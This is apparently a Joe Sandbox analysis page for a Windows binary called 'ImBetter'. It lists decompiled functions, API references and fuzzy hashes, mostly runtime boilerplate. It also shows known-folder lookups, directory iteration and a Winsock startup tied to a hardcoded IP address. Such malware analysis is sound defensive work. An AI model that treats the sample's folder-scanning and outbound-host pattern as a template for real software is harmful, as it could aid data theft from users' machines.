Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: LockitLockit::_std::_$_invalid_parameter_noinfo_noreturn
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 274866179-1866435925
Opcode ID: 79ae4d8ba2a838f48f8027a30465cca1192ef393c272f38d5b8b54dfc98ad5f6
Instruction ID: 331230a427f13ed3273c17d6d8a3d3030c1779ecba2cb084cfd6e2c4ffebe9e3
Opcode Fuzzy Hash: 79ae4d8ba2a838f48f8027a30465cca1192ef393c272f38d5b8b54dfc98ad5f6
Instruction Fuzzy Hash: 2691BF32729B4596DB00DF29D9803AEB3A5FB48B88FA48136CB4C47B65DF39E465C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4E3F0 Relevance: 6.1, APIs: 4, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF7E6B4E3F0() {
				void* _t3;
				void* _t4;
				char _t9;
				intOrPtr _t12;

				_t12 =  *0xe6b6bcc8; // 0xf
				if (_t12 - 0x10 < 0) goto 0xe6b4e431;
				_t9 =  *0xe6b6bcb0; // 0x1cd7e872800
				if (_t12 + 1 - 0x1000 < 0) goto 0xe6b4e42c;
				_t2 = _t9 -  *((intOrPtr*)(_t9 - 8)) - 8; // 0x1cd7e8727f8
				if (_t2 - 0x1f > 0) goto 0xe6b4e44d;
				_t3 = E00007FF77FF7E6B3CAF0(_t4,  *((intOrPtr*)(_t9 - 8))); // executed
				asm("movdqa xmm0, [0x13107]");
				asm("movdqu [0x1d87f], xmm0");
				 *0xe6b6bcb0 = 0;
				return _t3;
			}

0x7ff7e6b4e3f4
0x7ff7e6b4e3ff
0x7ff7e6b4e401
0x7ff7e6b4e412
0x7ff7e6b4e41f
0x7ff7e6b4e427
0x7ff7e6b4e42c
0x7ff7e6b4e431
0x7ff7e6b4e439
0x7ff7e6b4e441
0x7ff7e6b4e44c

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B4E44D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B4E4C4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B4E534
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B4E59D

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 98ee46d5e8052a7b30714e7e4525bf68e36a9fa9ddd601c86e5aa72a2b976778
Instruction ID: 8c5856b8e5a474e7843ba0b7d162439457e727626c4dc083961a7c16178f3b3c
Opcode Fuzzy Hash: 98ee46d5e8052a7b30714e7e4525bf68e36a9fa9ddd601c86e5aa72a2b976778
Instruction Fuzzy Hash: 07417FA1E3968680FA04B729AC4937EF322AF45790FF00533C65D46696FF7CA1918326

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B11D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF7E6B11D10(void* __ecx, void* __edx, long long __rbx, intOrPtr* __rcx, void* __rbp, void* __r8, void* __r9, void* __r12, void* __r13, void* __r15, long long _a16) {
				void* _v40;
				long long _v48;
				char _v64;
				void* __rdi;
				void* __rsi;
				void* __r14;
				void* _t20;
				void* _t22;
				void* _t47;
				signed long long _t61;
				intOrPtr* _t66;
				void* _t69;
				void* _t79;

				_t80 = __r15;
				_t76 = __r9;
				_t26 = __edx;
				_a16 = __rbx;
				_t47 = __r9;
				_t79 = __r8;
				_t66 = __rcx;
				if ( *((long long*)(__rcx + 0x18)) - 8 < 0) goto 0xe6b11d32;
				if ( *((short*)( *__rcx + 0xfffffffffffffffe)) != 0) goto 0xe6b11d40;
				if (0xffffffff == 0) goto 0xe6b11e5c;
				if (0 !=  *((intOrPtr*)(__rcx + 0x10))) goto 0xe6b11e5c;
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x28], xmm0");
				_v48 = 0;
				_v40 = 0;
				r8d = 1;
				E00007FF77FF7E6B02EB0( &_v64, 0xe6b5e5b0, __rcx, __r8, __r15);
				E00007FF77FF7E6B11990(0, _t66,  &_v64, __rbp, __r12, __r13, _t79, _t80);
				_t61 = _v40;
				if (_t61 - 8 < 0) goto 0xe6b11ddf;
				_t53 = _v64;
				if (2 + _t61 * 2 - 0x1000 < 0) goto 0xe6b11dda;
				if (_v64 -  *((intOrPtr*)(_t53 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b11e6f;
				E00007FF77FF7E6B3CAF0(_t26,  *((intOrPtr*)(_t53 - 8)));
				if ( *((long long*)(_t66 + 0x18)) - 8 < 0) goto 0xe6b11de9;
				_t20 = E00007FF77FF7E6B43534(_v64 -  *((intOrPtr*)(_t53 - 8)) + 0xfffffff8, _t47,  *_t66, _t79, _t69, _t47, _t76); // executed
				if (_t20 != 0) goto 0xe6b11e3b;
				if (E00007FF77FF7E6B11950(_t47) == 0) goto 0xe6b11e2b;
				asm("o16 nop [eax+eax]");
				_t22 = E00007FF77FF7E6B434F4(); // executed
				if (_t22 != 0) goto 0xe6b11e61;
				if (E00007FF77FF7E6B11950(_t47) != 0) goto 0xe6b11e10;
				return 0;
			}

0x7ff7e6b11d10
0x7ff7e6b11d10
0x7ff7e6b11d10
0x7ff7e6b11d10
0x7ff7e6b11d1d
0x7ff7e6b11d20
0x7ff7e6b11d25
0x7ff7e6b11d2d
0x7ff7e6b11d48
0x7ff7e6b11d4d
0x7ff7e6b11d57
0x7ff7e6b11d5d
0x7ff7e6b11d60
0x7ff7e6b11d65
0x7ff7e6b11d6e
0x7ff7e6b11d77
0x7ff7e6b11d89
0x7ff7e6b11d97
0x7ff7e6b11d9d
0x7ff7e6b11da6
0x7ff7e6b11db0
0x7ff7e6b11dbf
0x7ff7e6b11dd4
0x7ff7e6b11dda
0x7ff7e6b11de4
0x7ff7e6b11df2
0x7ff7e6b11df9
0x7ff7e6b11e08
0x7ff7e6b11e0a
0x7ff7e6b11e16
0x7ff7e6b11e1d
0x7ff7e6b11e29
0x7ff7e6b11e3a

APIs

__std_fs_directory_iterator_open.LIBCPMT ref: 00007FF7E6B11DF2

Strings

., xrefs: 00007FF7E6B120AB

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: __std_fs_directory_iterator_open
String ID: .
API String ID: 4007087469-248832578
Opcode ID: 6bff0e7d920104e3272a60348c361d3b50c8959bd8de587e27260fe45b3f343a
Instruction ID: d029f62e422e271bf7099f7a600b649ee16b3ff445f352be53ca19ebde112716
Opcode Fuzzy Hash: 6bff0e7d920104e3272a60348c361d3b50c8959bd8de587e27260fe45b3f343a
Instruction Fuzzy Hash: 9E310B62B2864151FE10B715E94837AB352AF857F4FA40232DF6D437D6EF3CD9828211

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B04960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF7E6B049AB

Strings

85.192.63.32, xrefs: 00007FF7E6B0497C

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Startup
String ID: 85.192.63.32
API String ID: 724789610-39541601
Opcode ID: 59b715ee1c339196bcaced42d73392746ca8a9a31ac709aefd17a6aa2bb4c1ae
Instruction ID: 3c857ca51f86aaecc35666d3ad580006f3c15092c5a5db09bba16609c3719eea
Opcode Fuzzy Hash: 59b715ee1c339196bcaced42d73392746ca8a9a31ac709aefd17a6aa2bb4c1ae
Instruction Fuzzy Hash: A101C261B3868281FA50B724D84577BB312EF85798FE08332E56D0A6CBEF7CE4808611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B14FE0 Relevance: 4.7, APIs: 3, Instructions: 176
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B14FE0(long long* __rcx, void* __rdx, long long __rdi, long long __rbp, long long __r8, long long __r9, long long __r12, long long __r14, void* _a24, intOrPtr _a40) {
				void* _v40;
				void* _v48;
				void* _v56;
				long long _v72;
				void* _t40;
				long long _t62;
				long long _t68;
				void* _t77;
				void* _t78;
				long long _t79;
				signed long long _t87;
				long long* _t100;
				signed long long _t102;
				void* _t104;
				void* _t112;
				signed long long _t118;
				intOrPtr _t121;
				short* _t122;

				_t112 = _t104;
				_t121 =  *((intOrPtr*)(__rcx + 0x10));
				_v72 = __r9;
				_t100 = __rcx;
				if (0xfffffffe - _t121 - __rdx < 0) goto 0xe6b151b0;
				 *((long long*)(_t112 + 0x18)) = __rbp;
				r8d = 0;
				_t102 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(_t112 - 0x28)) = __rdi;
				 *((long long*)(_t112 - 0x30)) = __r12;
				 *((long long*)(_t112 - 0x38)) = __r14;
				_t118 = __rdx + _t121;
				_t87 = _t118 | 0x00000007;
				if (_t87 - 0xfffffffe <= 0) goto 0xe6b15051;
				goto 0xe6b150a3;
				if (_t102 - 0xfffffffe - (_t102 >> 1) <= 0) goto 0xe6b15072;
				goto 0xe6b150a3;
				_t68 =  <  ? 0xfffffffffffffffe + _t102 : _t87;
				_t77 = _t68 + 1;
				if (_t77 - 0xffffffff > 0) goto 0xe6b151aa;
				_t78 = _t77 + _t77;
				if (_t78 - 0x1000 < 0) goto 0xe6b150cf;
				_t62 = _t78 + 0x27;
				if (_t62 - _t78 <= 0) goto 0xe6b151aa;
				_t79 = _t62;
				E00007FF77FF7E6B3CAAC(_t62 - _t78, _t62, _t79);
				if (_t62 == 0) goto 0xe6b151a4;
				_t15 = _t62 + 0x27; // 0x27
				 *((long long*)((_t15 & 0xffffffe0) - 8)) = _t62;
				goto 0xe6b150e1;
				if (_t79 == 0) goto 0xe6b150de; // executed
				E00007FF77FF7E6B3CAAC(_t79, _t62, _t79); // executed
				goto 0xe6b150e1;
				 *(_t100 + 0x10) = _t118;
				 *((long long*)(_t100 + 0x18)) = _t68;
				_t122 = __r8 + (_t121 + _a40) * 2;
				if (_t102 - 8 < 0) goto 0xe6b1515e;
				_t69 =  *_t100;
				E00007FF77FF7E6B3F010();
				E00007FF77FF7E6B3F010();
				 *_t122 = 0;
				if (2 + _t102 * 2 - 0x1000 < 0) goto 0xe6b15154;
				if ( *_t100 -  *((intOrPtr*)(_t69 - 8)) - 8 - 0x1f > 0) goto 0xe6b151a4;
				E00007FF77FF7E6B3CAF0(_t40,  *((intOrPtr*)(_t69 - 8)));
				goto 0xe6b1517c;
				E00007FF77FF7E6B3F010();
				E00007FF77FF7E6B3F010();
				 *_t122 = 0;
				 *_t100 = __r8;
				return 0;
			}

0x7ff7e6b14fe0
0x7ff7e6b14fed
0x7ff7e6b15009
0x7ff7e6b1500e
0x7ff7e6b15014
0x7ff7e6b1501a
0x7ff7e6b1501e
0x7ff7e6b15021
0x7ff7e6b15025
0x7ff7e6b15029
0x7ff7e6b1502d
0x7ff7e6b15031
0x7ff7e6b15038
0x7ff7e6b1503f
0x7ff7e6b1504f
0x7ff7e6b15060
0x7ff7e6b15070
0x7ff7e6b1507c
0x7ff7e6b1508a
0x7ff7e6b15091
0x7ff7e6b15097
0x7ff7e6b150a1
0x7ff7e6b150a3
0x7ff7e6b150aa
0x7ff7e6b150b0
0x7ff7e6b150b3
0x7ff7e6b150bb
0x7ff7e6b150c1
0x7ff7e6b150c9
0x7ff7e6b150cd
0x7ff7e6b150d2
0x7ff7e6b150d4
0x7ff7e6b150dc
0x7ff7e6b150e1
0x7ff7e6b150e9
0x7ff7e6b150f8
0x7ff7e6b15108
0x7ff7e6b1510a
0x7ff7e6b15110
0x7ff7e6b15120
0x7ff7e6b1512f
0x7ff7e6b1513a
0x7ff7e6b1514f
0x7ff7e6b15157
0x7ff7e6b1515c
0x7ff7e6b15161
0x7ff7e6b15171
0x7ff7e6b15178
0x7ff7e6b1517c
0x7ff7e6b151a3

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B151A4
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B151AA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B15224

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID:
API String ID: 3936042273-0
Opcode ID: 038e4a32395571da96d57db89baa0b0e3082d13e9142774e22ee0dde16b38c2b
Instruction ID: c229669e0fadc8283ffb01e24f645042fdd4e79902a8f0ae6e343434ed43f252
Opcode Fuzzy Hash: 038e4a32395571da96d57db89baa0b0e3082d13e9142774e22ee0dde16b38c2b
Instruction Fuzzy Hash: C751F3A272564191EE10EB25D8483AFB362EB44BE4FA40632DA7D077D6DF7CD051C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B288D4 Relevance: 4.6, APIs: 3, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B288D4(intOrPtr* __rax, long long __rbx, long long __rcx, long long _a8, long long _a24) {
				long long _v24;
				void* _t15;

				_a24 = __rbx;
				_a8 = __rcx;
				_v24 = _t15 - 0x30;
				if (__rcx != 0) goto 0xe6b2890e;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				return E00007FF77FF7E6B25994() | 0xffffffff;
			}

0x7ff7e6b288d4
0x7ff7e6b288d9
0x7ff7e6b288e3
0x7ff7e6b288ee
0x7ff7e6b288f0
0x7ff7e6b288f5
0x7ff7e6b2890d

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B288FB

Part of subcall function 00007FF7E6B28890: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B288A7

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B289A8
_local_unwind.LIBVCRUNTIME ref: 00007FF7E6B289B9

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_local_unwind
String ID:
API String ID: 1677304287-0
Opcode ID: 0dd3564e04a2b2fdccc94e650704afecdb149653ae69ba098740ad44696ca9d7
Instruction ID: afaf17bffe1f61a8f769da20eab78c3f460ba89dcaa63762bdc4adefbf8e605b
Opcode Fuzzy Hash: 0dd3564e04a2b2fdccc94e650704afecdb149653ae69ba098740ad44696ca9d7
Instruction Fuzzy Hash: 37219131A3858641EA00FB55DC502BEB3A2BB95B64FE41533D64D473D2DE7DE128C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B25180 Relevance: 4.6, APIs: 3, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00007FF77FF7E6B25180(void* __eax, void* __ecx, void* __rbx, void* __rdi, void* __r15) {
				signed int _v16;
				intOrPtr _v24;
				signed long long _v32;
				char _v56;
				void* _t20;
				signed long long _t28;
				signed long long _t43;
				signed long long _t47;

				_t20 = __ecx;
				_t28 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v16 = _t28 ^ _t47;
				r8d = 0;
				__imp__SHGetKnownFolderPath(); // executed
				if (__eax != 0) goto 0xe6b25249;
				if ( *((short*)(_v24 + 0xfffffffffffffffe)) != 0) goto 0xe6b251c0;
				asm("xorps xmm0, xmm0");
				asm("xorps xmm1, xmm1");
				asm("movups [esp+0x20], xmm0");
				asm("movdqu [esp+0x30], xmm1");
				E00007FF77FF7E6B02EB0( &_v56, _v24, __rdi, 0, __r15);
				E00007FF77FF7E6B14860(__rbx, 0xe6b6bcf0,  &_v56);
				_t43 = _v32;
				if (_t43 - 8 < 0) goto 0xe6b25254;
				if (2 + _t43 * 2 - 0x1000 < 0) goto 0xe6b25230;
				if (_v56 -  *((intOrPtr*)(_v56 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b25268;
				E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)(_v56 - 8)));
				return E00007FF77FF7E6B3C7F0(1, _t20, _v16 ^ _t47);
			}

0x7ff7e6b25180
0x7ff7e6b25184
0x7ff7e6b2518e
0x7ff7e6b25198
0x7ff7e6b251a4
0x7ff7e6b251ac
0x7ff7e6b251c9
0x7ff7e6b251cb
0x7ff7e6b251d3
0x7ff7e6b251d6
0x7ff7e6b251db
0x7ff7e6b251e1
0x7ff7e6b251f2
0x7ff7e6b251f7
0x7ff7e6b25200
0x7ff7e6b25219
0x7ff7e6b2522e
0x7ff7e6b25230
0x7ff7e6b25248

APIs

SHGetKnownFolderPath.SHELL32 ref: 00007FF7E6B251A4
CoTaskMemFree.OLE32 ref: 00007FF7E6B2524E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B25268

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: FolderFreeKnownPathTask_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2444108017-0
Opcode ID: 0bf46137e0ed9c17b779c411d5caa80229dfe555a91babbd106f15ee927d273f
Instruction ID: 150faac52066f942de260af8d2058ec682b03a4de25034d52550069868ad2a01
Opcode Fuzzy Hash: 0bf46137e0ed9c17b779c411d5caa80229dfe555a91babbd106f15ee927d273f
Instruction Fuzzy Hash: 2F21B262E3858581E910FB25D84136BB362FFD57A4FE01333EA6D076DAEE3CE0408611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B25090 Relevance: 4.6, APIs: 3, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00007FF77FF7E6B25090(void* __eax, void* __ecx, void* __rbx, void* __rdi, void* __r15) {
				signed int _v16;
				intOrPtr _v24;
				signed long long _v32;
				char _v56;
				void* _t20;
				signed long long _t28;
				signed long long _t43;
				signed long long _t47;

				_t20 = __ecx;
				_t28 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v16 = _t28 ^ _t47;
				r8d = 0;
				__imp__SHGetKnownFolderPath(); // executed
				if (__eax != 0) goto 0xe6b25159;
				if ( *((short*)(_v24 + 0xfffffffffffffffe)) != 0) goto 0xe6b250d0;
				asm("xorps xmm0, xmm0");
				asm("xorps xmm1, xmm1");
				asm("movups [esp+0x20], xmm0");
				asm("movdqu [esp+0x30], xmm1");
				E00007FF77FF7E6B02EB0( &_v56, _v24, __rdi, 0, __r15);
				E00007FF77FF7E6B14860(__rbx, 0xe6b6bcd0,  &_v56);
				_t43 = _v32;
				if (_t43 - 8 < 0) goto 0xe6b25164;
				if (2 + _t43 * 2 - 0x1000 < 0) goto 0xe6b25140;
				if (_v56 -  *((intOrPtr*)(_v56 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b25178;
				E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)(_v56 - 8)));
				return E00007FF77FF7E6B3C7F0(1, _t20, _v16 ^ _t47);
			}

0x7ff7e6b25090
0x7ff7e6b25094
0x7ff7e6b2509e
0x7ff7e6b250a8
0x7ff7e6b250b4
0x7ff7e6b250bc
0x7ff7e6b250d9
0x7ff7e6b250db
0x7ff7e6b250e3
0x7ff7e6b250e6
0x7ff7e6b250eb
0x7ff7e6b250f1
0x7ff7e6b25102
0x7ff7e6b25107
0x7ff7e6b25110
0x7ff7e6b25129
0x7ff7e6b2513e
0x7ff7e6b25140
0x7ff7e6b25158

APIs

SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,00007FF7E6B04AE1), ref: 00007FF7E6B250B4
CoTaskMemFree.OLE32(?,?,?,?,?,?,00007FF7E6B04AE1), ref: 00007FF7E6B2515E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B25178

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: FolderFreeKnownPathTask_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2444108017-0
Opcode ID: 9972a5747acdf83df95d87b7340df4500050420838e1f9dc45aaae6903c204c7
Instruction ID: b2b1271e32e1f042fac61082d02e43465adfb09f0b9643fc1cf1d0e244e21777
Opcode Fuzzy Hash: 9972a5747acdf83df95d87b7340df4500050420838e1f9dc45aaae6903c204c7
Instruction Fuzzy Hash: DB21A352E2858581E910EB24DC5136BB362FBD57A4FE05333E66D076DAEE3CE0408611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B36FCC Relevance: 4.5, APIs: 3, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7E6B36FCC() {
				void* _t6;
				void* _t11;
				void* _t12;

				if (E00007FF77FF7E6B37000(_t12) == 0) goto 0xe6b36fee;
				GetCurrentProcess();
				E00007FF77FF7E6B37030(TerminateProcess(??, ??), _t6, _t11);
				ExitProcess(??);
			}

0x7ff7e6b36fdb
0x7ff7e6b36fdd
0x7ff7e6b36ff0
0x7ff7e6b36ff7

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7E6B36FC8), ref: 00007FF7E6B36FDD
TerminateProcess.KERNEL32(?,?,?,00007FF7E6B36FC8), ref: 00007FF7E6B36FE8
ExitProcess.KERNEL32 ref: 00007FF7E6B36FF7

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3153b474f7df2c9196b4a6add13573c390b5e2b85e9277f390767f98b0f04585
Instruction ID: d0f883f606cbe7b5899c8a28d3953304b646aa7a278da2ce1ad4073d4e5564fd
Opcode Fuzzy Hash: 3153b474f7df2c9196b4a6add13573c390b5e2b85e9277f390767f98b0f04585
Instruction Fuzzy Hash: 87D01710B3820642FA143B716C9437AA3551F88702BA0243AC84A03382ED7EA40D8222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2955C Relevance: 3.2, APIs: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B2955C(intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, void* __r8, long long __r9, long long _a8, long long _a32) {

				_a8 = __rbx;
				_a32 = __r9;
				if (__r8 == 0) goto 0xe6b2959d;
				if (__r9 == 0) goto 0xe6b2959d;
				if (__rcx != 0) goto 0xe6b295b4;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				return 0;
			}

0x7ff7e6b2955c
0x7ff7e6b29561
0x7ff7e6b29581
0x7ff7e6b29586
0x7ff7e6b2958b
0x7ff7e6b2958d
0x7ff7e6b29592
0x7ff7e6b29598
0x7ff7e6b295b3

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B29598
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B29695

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f94615f8672da4c719243edfbe584d2f4d91fddd4d783e1ea29dbfd509560d75
Instruction ID: 65c7d007b5baa22f0ff6c2b5e1ea83cd57ee353c1c6574950cef0e6312cfa77b
Opcode Fuzzy Hash: f94615f8672da4c719243edfbe584d2f4d91fddd4d783e1ea29dbfd509560d75
Instruction Fuzzy Hash: 4351E521B292C185F728BE27980077BB6D2BF44BA4FA44A32DE6D476D5DF3CD4018662

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0AB40 Relevance: 3.1, APIs: 2, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 100%

